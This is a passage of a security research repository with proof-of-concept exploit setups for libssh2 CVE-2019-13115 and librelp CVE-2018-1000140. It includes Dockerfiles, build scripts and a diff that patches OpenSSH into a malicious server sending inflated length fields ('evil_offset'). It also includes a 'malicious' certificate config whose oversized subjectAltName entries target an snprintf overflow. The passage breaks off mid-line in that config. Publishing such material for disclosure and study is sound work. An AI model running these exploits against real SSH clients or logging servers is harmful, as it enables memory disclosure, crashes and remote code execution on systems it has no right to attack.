81 | -------------------------------------------------------------------------------- /libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y \ 5 | sudo tmux screen emacs git gdb net-tools psmisc \ 6 | build-essential autoconf automake libtool g++ \ 7 | libssl-dev 8 | 9 | ARG UID=1000 10 | 11 | # Create a non-root user account to run Libssh2. 12 | RUN adduser victim --disabled-password --uid $UID 13 | 14 | # Grant the 'victim' user sudo access. This is not used for the 15 | # demo, but it is often handy for installing extra packages. 16 | RUN adduser victim sudo 17 | RUN echo "victim:x" | chpasswd 18 | COPY home/ /home/victim/ 19 | RUN chown -R victim:victim /home/victim 20 | 21 | # Switch over to the 'victim' user, since root access is no longer required 22 | USER victim 23 | WORKDIR /home/victim 24 | 25 | # Checkout and build libssh2-1.8.2 (commit 02ecf17a6d5f9837699e8fb3aad0c804caa67eeb). 26 | # Note: this PoC also works on commit 38bf7ce9ece3441dcf3a19f0befb5b491ed4adfa, 27 | # which is the commit which contained the bad implementation of _libssh2_check_length. 28 | RUN git clone https://github.com/libssh2/libssh2.git && \ 29 | cd libssh2 && \ 30 | git checkout 02ecf17a6d5f9837699e8fb3aad0c804caa67eeb && \ 31 | ./buildconf && \ 32 | ./configure && \ 33 | make -j4 34 | -------------------------------------------------------------------------------- /libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/home/.tmux.conf: -------------------------------------------------------------------------------- 1 | # Enable 256 colors 2 | set -g default-terminal "screen-256color" 3 | 4 | # Enable using the mouse to switch windows. 5 | set -g mouse on 6 | 7 | # Don't lose track of SSH_AGENT etc. from parent environment. 8 | set -g update-environment -r 9 | 10 | # history buffer size 11 | set-option -g history-limit 100000 12 | -------------------------------------------------------------------------------- /libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y \ 5 | sudo tmux screen emacs git gdb net-tools psmisc \ 6 | build-essential autoconf g++ \ 7 | libssl-dev zlib1g-dev 8 | 9 | ARG UID=1000 10 | 11 | # Create a non-root user account to build openssh-server. 12 | RUN adduser hal --disabled-password --uid $UID 13 | 14 | # Grant the 'hal' user sudo access. This is not used for the demo, 15 | # but it is often handy for installing extra packages. 16 | RUN adduser hal sudo 17 | RUN echo "hal:x" | chpasswd 18 | COPY home/ /home/hal/ 19 | RUN chown -R hal:hal /home/hal 20 | 21 | # Create the sshd user 22 | RUN mkdir /var/empty && \ 23 | chown root:sys /var/empty && \ 24 | chmod 755 /var/empty && \ 25 | groupadd sshd && \ 26 | useradd -g sshd -c 'sshd privsep' -d /var/empty -s /bin/false sshd 27 | 28 | # Switch over to the 'hal' user, since root access is no longer required 29 | USER hal 30 | WORKDIR /home/hal 31 | 32 | # Clone openssh, insert some malicious code, and built it. 33 | RUN git clone https://github.com/openssh/openssh-portable.git && \ 34 | cd openssh-portable && \ 35 | git checkout 21da87f439b48a85b951ef1518fe85ac0273e719 && \ 36 | git apply /home/hal/diff.txt && \ 37 | autoreconf && \ 38 | ./configure && \ 39 | make 40 | 41 | # Install openssh. 42 | USER root 43 | RUN cd /home/hal/openssh-portable && make install 44 | USER hal 45 | -------------------------------------------------------------------------------- /libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/.tmux.conf: -------------------------------------------------------------------------------- 1 | # Enable 256 colors 2 | set -g default-terminal "screen-256color" 3 | 4 | # Enable using the mouse to switch windows. 5 | set -g mouse on 6 | 7 | # Don't lose track of SSH_AGENT etc. from parent environment. 8 | set -g update-environment -r 9 | 10 | # history buffer size 11 | set-option -g history-limit 100000 12 | -------------------------------------------------------------------------------- /libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/diff.txt: -------------------------------------------------------------------------------- 1 | diff --git a/kexgexs.c b/kexgexs.c 2 | index 8ee3aacc..8f37c421 100644 3 | --- a/kexgexs.c 4 | +++ b/kexgexs.c 5 | @@ -106,8 +106,8 @@ input_kex_dh_gex_request(int type, u_int32_t seq, struct ssh *ssh) 6 | debug("SSH2_MSG_KEX_DH_GEX_GROUP sent"); 7 | DH_get0_pqg(kex->dh, &dh_p, NULL, &dh_g); 8 | if ((r = sshpkt_start(ssh, SSH2_MSG_KEX_DH_GEX_GROUP)) != 0 || 9 | - (r = sshpkt_put_bignum2(ssh, dh_p)) != 0 || 10 | - (r = sshpkt_put_bignum2(ssh, dh_g)) != 0 || 11 | + (r = sshpkt_put_bignum2_evil(ssh, dh_p)) != 0 || 12 | + (r = sshpkt_put_bignum2_evil(ssh, dh_g)) != 0 || 13 | (r = sshpkt_send(ssh)) != 0) 14 | goto out; 15 | 16 | diff --git a/packet.c b/packet.c 17 | index 36e352b4..e4a1a06b 100644 18 | --- a/packet.c 19 | +++ b/packet.c 20 | @@ -2506,6 +2506,12 @@ sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v) 21 | { 22 | return sshbuf_put_bignum2(ssh->state->outgoing_packet, v); 23 | } 24 | + 25 | +int 26 | +sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v) 27 | +{ 28 | + return sshbuf_put_bignum2_evil(ssh->state->outgoing_packet, v); 29 | +} 30 | #endif /* WITH_OPENSSL */ 31 | 32 | /* fetch data from the incoming packet */ 33 | diff --git a/packet.h b/packet.h 34 | index 0dfa36da..93ea6c77 100644 35 | --- a/packet.h 36 | +++ b/packet.h 37 | @@ -190,6 +190,7 @@ int sshpkt_put_cstring(struct ssh *ssh, const void *v); 38 | int sshpkt_put_stringb(struct ssh *ssh, const struct sshbuf *v); 39 | int sshpkt_put_ec(struct ssh *ssh, const EC_POINT *v, const EC_GROUP *g); 40 | int sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v); 41 | +int sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v); 42 | 43 | int sshpkt_get(struct ssh *ssh, void *valp, size_t len); 44 | int sshpkt_get_u8(struct ssh *ssh, u_char *valp); 45 | diff --git a/sshbuf-getput-basic.c b/sshbuf-getput-basic.c 46 | index 50648258..34ec3be5 100644 47 | --- a/sshbuf-getput-basic.c 48 | +++ b/sshbuf-getput-basic.c 49 | @@ -362,6 +362,26 @@ sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len) 50 | return 0; 51 | } 52 | 53 | +const size_t evil_offset = 0x80000200; // Edit evil offset here 54 | + 55 | +int 56 | +sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len) 57 | +{ 58 | + u_char *d; 59 | + int r; 60 | + 61 | + if (len > SSHBUF_SIZE_MAX - 4) { 62 | + SSHBUF_DBG(("SSH_ERR_NO_BUFFER_SPACE")); 63 | + return SSH_ERR_NO_BUFFER_SPACE; 64 | + } 65 | + if ((r = sshbuf_reserve(buf, len + 4, &d)) < 0) 66 | + return r; 67 | + POKE_U32(d, len + evil_offset); 68 | + if (len != 0) 69 | + memcpy(d + 4, v, len); 70 | + return 0; 71 | +} 72 | + 73 | int 74 | sshbuf_put_cstring(struct sshbuf *buf, const char *v) 75 | { 76 | diff --git a/sshbuf-getput-crypto.c b/sshbuf-getput-crypto.c 77 | index 3dd1e144..cbf3977f 100644 78 | --- a/sshbuf-getput-crypto.c 79 | +++ b/sshbuf-getput-crypto.c 80 | @@ -148,6 +148,28 @@ sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v) 81 | return 0; 82 | } 83 | 84 | +int 85 | +sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v) 86 | +{ 87 | + u_char d[SSHBUF_MAX_BIGNUM + 1]; 88 | + int len = BN_num_bytes(v), prepend = 0, r; 89 | + 90 | + if (len < 0 || len > SSHBUF_MAX_BIGNUM) 91 | + return SSH_ERR_INVALID_ARGUMENT; 92 | + *d = '\0'; 93 | + if (BN_bn2bin(v, d + 1) != len) 94 | + return SSH_ERR_INTERNAL_ERROR; /* Shouldn't happen */ 95 | + /* If MSB is set, prepend a \0 */ 96 | + if (len > 0 && (d[1] & 0x80) != 0) 97 | + prepend = 1; 98 | + if ((r = sshbuf_put_string_evil(buf, d + 1 - prepend, len + prepend)) < 0) { 99 | + explicit_bzero(d, sizeof(d)); 100 | + return r; 101 | + } 102 | + explicit_bzero(d, sizeof(d)); 103 | + return 0; 104 | +} 105 | + 106 | #ifdef OPENSSL_HAS_ECC 107 | int 108 | sshbuf_put_ec(struct sshbuf *buf, const EC_POINT *v, const EC_GROUP *g) 109 | diff --git a/sshbuf.h b/sshbuf.h 110 | index 7900b82b..f8632bcb 100644 111 | --- a/sshbuf.h 112 | +++ b/sshbuf.h 113 | @@ -185,6 +185,7 @@ int sshbuf_get_string(struct sshbuf *buf, u_char **valp, size_t *lenp); 114 | int sshbuf_get_cstring(struct sshbuf *buf, char **valp, size_t *lenp); 115 | int sshbuf_get_stringb(struct sshbuf *buf, struct sshbuf *v); 116 | int sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len); 117 | +int sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len); 118 | int sshbuf_put_cstring(struct sshbuf *buf, const char *v); 119 | int sshbuf_put_stringb(struct sshbuf *buf, const struct sshbuf *v); 120 | 121 | @@ -214,6 +215,7 @@ int sshbuf_get_bignum2_bytes_direct(struct sshbuf *buf, 122 | #ifdef WITH_OPENSSL 123 | int sshbuf_get_bignum2(struct sshbuf *buf, BIGNUM **valp); 124 | int sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v); 125 | +int sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v); 126 | # ifdef OPENSSL_HAS_ECC 127 | int sshbuf_get_ec(struct sshbuf *buf, EC_POINT *v, const EC_GROUP *g); 128 | int sshbuf_get_eckey(struct sshbuf *buf, EC_KEY *v); 129 | diff --git a/sshd_config b/sshd_config 130 | index 19b7c91a..82a08747 100644 131 | --- a/sshd_config 132 | +++ b/sshd_config 133 | @@ -102,6 +102,8 @@ AuthorizedKeysFile .ssh/authorized_keys 134 | #ChrootDirectory none 135 | #VersionAddendum none 136 | 137 | +KexAlgorithms diffie-hellman-group-exchange-sha256 138 | + 139 | # no default banner path 140 | #Banner none 141 | 142 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:artful 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y \ 5 | sudo tmux screen emacs git gdb net-tools \ 6 | python python3 build-essential gcc \ 7 | cmake bison flex libprotobuf-c-dev libreadline-dev libsqlite3-dev \ 8 | libssl-dev libunwind-dev libz1 libz-dev make gawk protobuf-c-compiler \ 9 | uuid-dev liblz4-tool liblz4-dev libprotobuf-c1 libsqlite3-0 \ 10 | libuuid1 libz1 tzdata ncurses-dev tcl bc dh-autoreconf pkg-config \ 11 | libgnutls28-dev libcurl4-gnutls-dev python-docutils libgcrypt20-dev \ 12 | iproute2 nmap gnutls-bin 13 | 14 | RUN mkdir /opt/work 15 | COPY build-all.sh /opt/work/ 16 | COPY benevolent/ /opt/work/benevolent/ 17 | COPY malicious/ /opt/work/malicious/ 18 | WORKDIR /opt/work 19 | 20 | RUN git clone https://github.com/rsyslog/libee.git 21 | RUN git clone https://github.com/rsyslog/libestr.git 22 | RUN git clone https://github.com/rsyslog/libfastjson.git 23 | RUN git clone https://github.com/rsyslog/liblogging.git 24 | RUN git clone https://github.com/rsyslog/librelp.git 25 | RUN git clone https://github.com/rsyslog/rsyslog.git 26 | 27 | # Checkout versions with the bug 28 | WORKDIR /opt/work/libee 29 | RUN git checkout 1569d91bf33101f012cfc5b25beea68f2c6e25f2 30 | WORKDIR /opt/work/libestr 31 | RUN git checkout 75ea6e3b5a2187dbe48e7f5cec82311ca3a09c22 32 | WORKDIR /opt/work/libfastjson 33 | RUN git checkout v0.99.8 34 | WORKDIR /opt/work/liblogging 35 | RUN git checkout 5602f9dacbfc8e1912aa25f9e27be6aac13ac4ce 36 | WORKDIR /opt/work/librelp 37 | RUN git checkout v1.2.14 38 | WORKDIR /opt/work/rsyslog 39 | RUN git checkout v8.33.1 40 | 41 | WORKDIR /opt/work 42 | RUN ./build-all.sh 43 | 44 | # switch over to the 'semmle_build' user, since root access is no longer required 45 | RUN addgroup semmle_build --gid 1001 46 | RUN adduser semmle_build --disabled-password --uid 1001 --gid 1001 47 | RUN adduser semmle_build sudo 48 | RUN echo "semmle_build:x" | chpasswd 49 | RUN chown -R semmle_build:semmle_build /opt/work 50 | 51 | USER semmle_build 52 | ENV HOME /opt/work 53 | WORKDIR /opt/work/benevolent/certs 54 | RUN pwd 1>&2 55 | RUN ls -al 1>&2 56 | RUN ./create-certs.sh 57 | WORKDIR /opt/work/malicious/kevcertz 58 | RUN pwd 59 | RUN ./create-certz.sh 60 | WORKDIR /opt/work/ 61 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/README.md: -------------------------------------------------------------------------------- 1 | # Remote code execution in librelp (CVE-2018-1000140) 2 | 3 | This directory contains a proof-of-concept exploit for a remote code execution vulnerability in [librelp](https://www.rsyslog.com/librelp/). The vulnerability was fixed in librelp version [1.2.15](https://www.rsyslog.com/librelp-1-2-15/), released on 2018-03-22. 4 | 5 | For more information about the vulnerability and for instructions on how to run the proof-of-concept exploit, please see our blog post which is published on both [Rainer Gerhards's blog](https://rainer.gerhards.net/how-we-found-and-fixed-cve-in-librelp) and on the [LGTM blog](https://lgtm.com/blog/rsyslog_snprintf_CVE-2018-1000140). 6 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/benevolent/certs/ca.config: -------------------------------------------------------------------------------- 1 | [ req ] 2 | default_bits = 2048 3 | distinguished_name = dn 4 | x509_extensions = san 5 | req_extensions = san 6 | extensions = san 7 | prompt = no 8 | 9 | [ ca ] 10 | default_ca = ca_default 11 | 12 | [ ca_default ] 13 | private_key = root-ca-key.pem 14 | certificate = root-ca.pem 15 | new_certs_dir = new_certs 16 | database = root-ca.index 17 | default_md = sha256 18 | serial = root-ca.serial 19 | email_in_dn = no 20 | default_days = 365 21 | policy = policy 22 | 23 | [ policy ] 24 | countryName = optional 25 | stateOrProvinceName = optional 26 | localityName = optional 27 | organizationName = optional 28 | organizationalUnitName = optional 29 | commonName = supplied 30 | 31 | [ dn ] 32 | countryName = US 33 | stateOrProvinceName = CA 34 | localityName = San Francisco 35 | organizationName = Wholesome Certifications Inc. 36 | commonName = wholesomecertifications.com 37 | emailAddress = webmaster@wholesomecertifications.com 38 | 39 | [ san ] 40 | basicConstraints = CA:TRUE 41 | subjectAltName = @alt_names 42 | subjectKeyIdentifier = hash 43 | 44 | [ alt_names ] 45 | DNS.1 = *.wholesomecertifications.com 46 | DNS.2 = *.wholesomecerts.com 47 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/benevolent/certs/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Delete all auto-generated files. 4 | 5 | rm -f *~ 6 | rm -rf new_certs 7 | rm -f root-ca* 8 | rm -f server-*.pem 9 | rm -f client-*.pem 10 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/benevolent/certs/client.config: -------------------------------------------------------------------------------- 1 | [ req ] 2 | default_bits = 2048 3 | distinguished_name = dn 4 | x509_extensions = client_ext 5 | req_extensions = client_ext 6 | extensions = client_ext 7 | prompt = no 8 | 9 | [ ca ] 10 | default_ca = ca_default 11 | 12 | [ ca_default ] 13 | private_key = root-ca-key.pem 14 | certificate = root-ca.pem 15 | new_certs_dir = new_certs 16 | database = root-ca.index 17 | default_md = sha256 18 | serial = root-ca.serial 19 | email_in_dn = no 20 | default_days = 365 21 | policy = policy 22 | 23 | [ policy ] 24 | countryName = optional 25 | stateOrProvinceName = optional 26 | localityName = optional 27 | organizationName = optional 28 | organizationalUnitName = optional 29 | commonName = supplied 30 | 31 | [ dn ] 32 | countryName = US 33 | stateOrProvinceName = CA 34 | localityName = San Francisco 35 | organizationName = Wholesome Computing Inc. 36 | commonName = client.wholesomecomputing.com 37 | emailAddress = webmaster@wholesomecomputing.com 38 | 39 | [ client_ext ] 40 | basicConstraints = CA:FALSE 41 | subjectAltName = @alt_names 42 | subjectKeyIdentifier = hash 43 | 44 | [ alt_names ] 45 | DNS.1 = *.wholesomecomputing.com 46 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/benevolent/certs/create-certs.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | mkdir new_certs 4 | touch root-ca.index 5 | touch root-ca.index.attr 6 | echo 00 > root-ca.crlnum 7 | openssl rand -hex 16 > root-ca.serial 8 | 9 | # create self-signed certificate 10 | openssl req -config ca.config -new -x509 -sha256 -newkey rsa:2048 -nodes \ 11 | -keyout root-ca-key.pem -days 365 -out root-ca.pem 12 | 13 | # Create signing request for the server 14 | openssl req -config server.config -new -sha256 -newkey rsa:2048 -nodes \ 15 | -keyout server-key.pem -days 365 -out server-request.pem 16 | 17 | # Create signed certificate for the server 18 | openssl ca -config server.config -batch -days 365 -extensions server_ext -out server-cert.pem -infiles server-request.pem 19 | 20 | # Create signing request for the client 21 | openssl req -config client.config -new -sha256 -newkey rsa:2048 -nodes \ 22 | -keyout client-key.pem -days 365 -out client-request.pem 23 | 24 | # Create signed certificate for the client 25 | openssl ca -config client.config -batch -days 365 -extensions client_ext -out client-cert.pem -infiles client-request.pem 26 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/benevolent/certs/server.config: -------------------------------------------------------------------------------- 1 | [ req ] 2 | default_bits = 2048 3 | distinguished_name = dn 4 | x509_extensions = server_ext 5 | req_extensions = server_ext 6 | extensions = server_ext 7 | prompt = no 8 | 9 | [ ca ] 10 | default_ca = ca_default 11 | 12 | [ ca_default ] 13 | private_key = root-ca-key.pem 14 | certificate = root-ca.pem 15 | new_certs_dir = new_certs 16 | database = root-ca.index 17 | default_md = sha256 18 | serial = root-ca.serial 19 | email_in_dn = no 20 | default_days = 365 21 | policy = policy 22 | 23 | [ policy ] 24 | countryName = optional 25 | stateOrProvinceName = optional 26 | localityName = optional 27 | organizationName = optional 28 | organizationalUnitName = optional 29 | commonName = supplied 30 | 31 | [ dn ] 32 | countryName = US 33 | stateOrProvinceName = CA 34 | localityName = San Francisco 35 | organizationName = Wholesome Computing Inc. 36 | commonName = server.wholesomecomputing.com 37 | emailAddress = webmaster@wholesomecomputing.com 38 | 39 | [ server_ext ] 40 | basicConstraints = CA:FALSE 41 | subjectAltName = @alt_names 42 | subjectKeyIdentifier = hash 43 | 44 | [ alt_names ] 45 | DNS.1 = *.wholesomecomputing.com 46 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/benevolent/rsyslog-client.conf: -------------------------------------------------------------------------------- 1 | module(load="imuxsock") 2 | module(load="omrelp") 3 | module(load="imtcp") 4 | input(type="imtcp" port="514") 5 | action(type="omrelp" target="172.25.0.10" port="2514" 6 | tls="on" 7 | tls.caCert="/opt/work/benevolent/certs/root-ca.pem" 8 | tls.myCert="/opt/work/benevolent/certs/client-cert.pem" 9 | tls.myPrivKey="/opt/work/benevolent/certs/client-key.pem" 10 | tls.authmode="name" 11 | tls.permittedpeer=["server.wholesomecomputing.com"] 12 | ) 13 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/benevolent/rsyslog-server.conf: -------------------------------------------------------------------------------- 1 | $DebugFile /opt/work/log.txt 2 | $DebugLevel 2 3 | 4 | module(load="imuxsock") 5 | module(load="imrelp" ruleset="relp") 6 | input(type="imrelp" port="2514" 7 | tls="on" 8 | tls.caCert="/opt/work/benevolent/certs/root-ca.pem" 9 | tls.myCert="/opt/work/benevolent/certs/server-cert.pem" 10 | tls.myPrivKey="/opt/work/benevolent/certs/server-key.pem" 11 | tls.authMode="name" 12 | tls.permittedpeer=["client.wholesomecomputing.com"] 13 | ) 14 | ruleset (name="relp") { action(type="omfile" file="/var/log/relp_log") } 15 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/build-all.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | buildone() { 4 | cd $1 5 | autoreconf -fvi 6 | ./configure $2 --enable-debug 7 | make 8 | make install 9 | cd .. 10 | } 11 | 12 | buildone libestr 13 | buildone libee 14 | buildone libfastjson 15 | buildone liblogging 16 | buildone librelp --prefix=/usr 17 | buildone rsyslog --enable-relp 18 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/malicious/kevcertz/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Delete all auto-generated files. 4 | 5 | rm -f *~ 6 | rm -rf new_certz 7 | rm -f root-ca* 8 | rm -f server-*.pem 9 | rm -f client-*.pem 10 | -------------------------------------------------------------------------------- /rsyslog/CVE-2018-1000140_snprintf_librelp/malicious/kevcertz/client.config: -------------------------------------------------------------------------------- 1 | [ req ] 2 | default_bits = 2048 3 | distinguished_name = dn 4 | x509_extensions = client_ext 5 | req_extensions = client_ext 6 | extensions = client_ext 7 | prompt = no 8 | 9 | [ ca ] 10 | default_ca = ca_default 11 | 12 | [ ca_default ] 13 | private_key = /opt/work/benevolent/certs/root-ca-key.pem 14 | certificate = /opt/work/benevolent/certs/root-ca.pem 15 | new_certs_dir = new_certz 16 | database = root-ca.index 17 | default_md = sha256 18 | serial = root-ca.serial 19 | email_in_dn = no 20 | default_days = 365 21 | policy = policy 22 | 23 | [ policy ] 24 | countryName = optional 25 | stateOrProvinceName = optional 26 | localityName = optional 27 | organizationName = optional 28 | organizationalUnitName = optional 29 | commonName = supplied 30 | 31 | [ dn ] 32 | countryName = US 33 | stateOrProvinceName = NV 34 | localityName = Las Vegas 35 | organizationName = Kevz Certz 36 | commonName = client.kevwozere.com 37 | emailAddress = noreply@kevwozere.com 38 | 39 | [ client_ext ] 40 | basicConstraints = CA:FALSE 41 | subjectAltName = @kevz_alt_names 42 | subjectKeyIdentifier = hash 43 | 44 | [ kevz_alt_names ] 45 | DNS.1 = kevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozere001.kevwozere.com 46 | DNS.2 = kevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozere002.kevwozere.com 47 | DNS.3 = kevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozere003.kevwozere.com 48 | DNS.4 = kevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozere004.kevwozere.com 49 | DNS.5 = kevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozere005.kevwozere.com 50 | DNS.6 = kevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozerekevwozere006.kevwozere.com 51 | DNS.7 = 